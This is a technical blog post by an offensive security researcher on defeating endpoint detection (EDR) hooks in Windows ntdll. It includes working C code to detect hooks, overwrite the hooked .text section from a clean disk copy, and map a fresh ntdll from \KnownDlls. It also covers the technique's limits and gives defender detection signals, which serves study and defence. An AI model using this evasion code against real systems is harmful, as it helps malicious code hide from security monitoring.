Unhooking ntdll: removing EDR's eyes
How userland hooks work, how to remove them, and why the technique is less effective than the blogs suggest.
- #EDR Evasion
- #Unhooking
- #ntdll
- #Hooks
- #Windows
§How userland hooks work
EDR injects a DLL into every process. That DLL patches the first bytes of sensitive ntdll exports (NtAllocateVirtualMemory, NtProtectVirtualMemory, NtWriteVirtualMemory, etc.) with a jump to the EDR's inspection code. When your code calls `NtAllocateVirtualMemory`, it hits the hook, the EDR inspects the arguments, and if approved, calls the original function.
The patch is typically 5 bytes: `E9 xx xx xx xx` (jmp relative) or `4C 8B D1 E9` (mov r10, rcx; jmp). The original bytes are saved somewhere in the EDR DLL's memory.
§Detection of hooks
#include <windows.h>
#include <stdio.h>
void check_hook(const char *name) {
HMODULE ntdll = GetModuleHandleA("ntdll.dll");
void *fn = GetProcAddress(ntdll, name);
unsigned char *p = (unsigned char *)fn;
// a hooked function starts with E9 (jmp) or 4C 8B D1 E9
if (p[0] == 0xE9) {
printf("%s: HOOKED (jmp)\n", name);
} else if (p[0] == 0x4C && p[1] == 0x8B && p[2] == 0xD1 && p[3] == 0xE9) {
printf("%s: HOOKED (mov+jmp)\n", name);
} else {
printf("%s: clean (%02x %02x %02x %02x)\n", name, p[0], p[1], p[2], p[3]);
}
}§Unhooking: restore from a clean copy
The most reliable unhooking method: read a fresh copy of ntdll from disk (which is not hooked, since the EDR only hooks the in-memory copy) and overwrite the hooked bytes.
#include <windows.h>
#include <stdio.h>
int unhook_ntdll() {
// 1. open ntdll.dll from disk
HANDLE file = CreateFileA("C:\\Windows\\System32\\ntdll.dll", GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
if (file == INVALID_HANDLE_VALUE) return 1;
DWORD size = GetFileSize(file, NULL);
void *disk = VirtualAlloc(NULL, size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
DWORD read;
ReadFile(file, disk, size, &read, NULL);
CloseHandle(file);
// 2. parse PE to find .text section in both disk and memory copies
PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)disk;
PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)((BYTE*)disk + dos->e_lfanew);
PIMAGE_SECTION_HEADER sec = IMAGE_FIRST_SECTION(nt);
void *mem_ntdll = GetModuleHandleA("ntdll.dll");
for (WORD i = 0; i < nt->FileHeader.NumberOfSections; i++, sec++) {
if (memcmp(sec->Name, ".text", 5) != 0) continue;
// 3. make memory copy writable
void *mem_text = (BYTE*)mem_ntdll + sec->VirtualAddress;
void *disk_text = (BYTE*)disk + sec->PointerToRawData;
size_t sz = sec->Misc.VirtualSize;
DWORD old;
VirtualProtect(mem_text, sz, PAGE_EXECUTE_READWRITE, &old);
// 4. overwrite hooked bytes with clean bytes
memcpy(mem_text, disk_text, sz);
// 5. restore protection
VirtualProtect(mem_text, sz, PAGE_EXECUTE_READ, &old);
break;
}
VirtualFree(disk, 0, MEM_RELEASE);
return 0;
}§Why it's less effective than the blogs suggest
- 01**ETW TI still fires**: unhooking ntdll in userland does not disable kernel ETW events. The EDR's kernel driver still sees the syscall.
- 01**The unhook itself is a detection**: an EDR monitoring `VirtualProtect` on ntdll's `.text` section will flag the unhook attempt. Some EDRs (CrowdStrike) specifically detect ntdll restoration.
- 01**Known DLLs / cached copies**: Windows caches ntdll in the "KnownDlls" object directory. Reading from disk gives the same bytes as the cached copy, but EDRs can verify the in-memory copy against the cached copy.
- 01**Hook restoration**: some EDRs (SentinelOne) periodically re-hook ntdll, so your unhook is temporary.
- 01**Multiple hook layers**: some EDRs hook at the syscall level (kernel) in addition to userland, making userland unhooking irrelevant.
§Alternative: fresh ntdll via section mapping
Instead of reading from disk, map a fresh copy from `\KnownDlls\ntdll.dll` using `NtCreateSection` + `NtMapViewOfSection`. This avoids file I/O (which EDRs monitor) but still triggers ETW.
// conceptual: map fresh ntdll from KnownDlls
HANDLE section;
UNICODE_STRING name;
RtlInitUnicodeString(&name, L"\\KnownDlls\\ntdll.dll");
OBJECT_ATTRIBUTES oa;
InitializeObjectAttributes(&oa, &name, OBJ_CASE_INSENSITIVE, NULL, NULL);
NtOpenSection(§ion, SECTION_ALL_ACCESS, &oa);
void *fresh_base = NULL;
SIZE_T view_size = 0;
NtMapViewOfSection(section, GetCurrentProcess(), &fresh_base, 0, 0, NULL, &view_size, ViewShare, 0, PAGE_EXECUTE_READ);§Detection (defender side)
- Monitor `VirtualProtect` on ntdll's `.text` section → unhooking attempt.
- ETW: `NtMapViewOfSection` mapping ntdll from `\KnownDlls` → fresh copy load.
- Compare in-memory ntdll bytes against the on-disk/cached copy → detect tampering.
- Behavioral: a process that unloads and reloads ntdll is suspicious.
§Takeaway
Unhooking is a cat-and-mouse game where the mouse is losing. It defeats userland-only EDRs, fails against ETW-enabled ones, and the unhook itself is a detection. Use it as one layer in a defense-in-depth evasion strategy, not as the strategy. The real question is not "how to unhook" but "whether your target EDR relies on userland hooks at all." "
Written by
MJ — offensive security researcher
I break things in a lab so defenders can build better controls. Everything published here is lab-derived, responsibly disclosed, and documented with the detection path in mind.